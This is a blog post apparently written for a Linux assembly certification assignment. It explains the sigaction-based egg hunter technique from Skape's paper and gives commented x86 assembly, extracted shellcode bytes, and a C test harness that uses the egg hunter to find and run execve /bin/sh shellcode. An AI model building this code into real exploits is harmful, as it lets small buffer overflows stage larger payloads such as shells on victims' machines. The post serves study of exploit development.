Assignment

  • Study about the Egg Hunter shellcode
  • Create a working demo of the Egghunter
  • Should be configurable for different payloads

What is an Egg Hunter?

A egg hunter is a small piece of code that is used to search memory for an identifying stub and then direct execution flow to the area of memory directly after the identifier (egg). This is typically useful in exploitation scenarios where available space for shellcode is not big enough to hold a full payload. In this case a small egg hunter shell code can be used to search memory for a larger shell code payload and direct the program execution flow to this area of memory to execute the desired full size payload. As an example a typical egg hunter implenmentation in assembly is maybe 32 bytes whereas a reverse TCP shell in meterpreter is in the region of 320 bytes, hence it is easy to see the potential use cases for an egg hunter.

Skapes paper on egg hunters was and still stands as the definitive go to reference, so for addtional reading I suggest review of that paper here.

Implementation

Of Skapes three linux implementations the sigaction method is quickest and smallest so that is what we will use here. The code as laid out in the paper is as follows:

00000000  6681C9FF0F        or cx,0xfff
00000005  41                inc ecx
00000006  6A43              push byte +0x43
00000008  58                pop eax
00000009  CD80              int 0x80
0000000B  3CF2              cmp al,0xf2
0000000D  74F1              jz 0x0
0000000F  B890509050        mov eax,0x50905090
00000014  89CF              mov edi,ecx
00000016  AF                scasd
00000017  75EC              jnz 0x5
00000019  AF                scasd
0000001A  75E9              jnz 0x5
0000001C  FFE7              jmp edi

Converting this to some thing more readable including comments we end up with the following assembly code. You will note a slight deviation from Skapes initial proof of concept lines 20 and 21. A direct copy of Skapes example was producing a segmentation fault on hitting address 0x00000000 so we add 2 lines to step past this issue. Thanks to http://sh3llc0d3r.com/slae32-egghunter/ for the pointer in the right direction with this.

global _start			

section .text

_start:

next_page:
	or cx,0xfff		; Set cx to 4095
				; (This is the page size in linux however;
				; 4096 = 0x1000 in hex which contains nulls

next_address:
	inc ecx			; Increment ecx
	jnz not_null		; Work around seg fault at address 0x00000000
	inc ecx			; Increment ecx

not_null:
	push byte +0x43		; Push 67 to stack 
	pop eax			; Pop 67 to eax 
	int 0x80 		; System Call (Sigaction, eax = 67, ebx=0, ecx = memory we are testing) 
	cmp al,0xf2		; Compare the return value, 0xf2 = Efault therefore an invalid pointer 
	jz next_page		; Loop if we get an Efault
	mov eax, 0x73756c73	; Move egg to eax (egg = suls) 
	mov edi,ecx		; Move address we are validating to edi
	scasd			; Compare eax/edi and increment edi by 4 btyes 
	jnz next_address	; If not found jump to next address
	scasd			; Compare eax/edi for second egg
	jnz next_address	; If not found jump to next address
	jmp edi			; Egg found so jmp to our shell code 

We then assemble and link with the helper script

./compile egghunter

Now as in previous exercises we extract our shellcode:

objdump -d ./egghunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 

"\x66\x81\xc9\xff\x0f\x41\x75\x01\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x73\x6c\x75\x73\x89\xcf\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"

Testing and Customisation

Now we have our egg hunter shell code we construct a small C program to store both execve shellcode proceeded by our “egg” twice in memory and our egghunter shellcode. We then pass execution to the egghunter which will hopefully find our egg in memory and execute the execve shellcode for us.

#include<stdio.h>
#include<string.h>

// egg =suls
#define egg "\x73\x6c\x75\x73"


// Egg hunter shell code
unsigned char egghunter[] = \
"\x66\x81\xc9\xff\x0f\x41\x75\x01\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x73\x6c\x75\x73\x89\xcf\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

// execve shellcode
unsigned char shellcode[] = egg egg \
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; 

main()
{

	printf("EggHunter Length:  %d\n", strlen(egghunter));
	printf("Shellcode Length:  %d\n", strlen(shellcode));

	int (*ret)() = (int(*)())egghunter;

	ret();

}

And as before we compile with the following command:

gcc -fno-stack-protector -z execstack -o egghunter_test egghunter.c 

And test to find after a short wait our execve shellcode is located and executed.

The C program can be modified to contain and execute any shellcode payload the user desires by simply replacing the “shellcode” variable.

This completes assignment three, source code is available on GitHub https://github.com/su1s/SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1436

Leave a Reply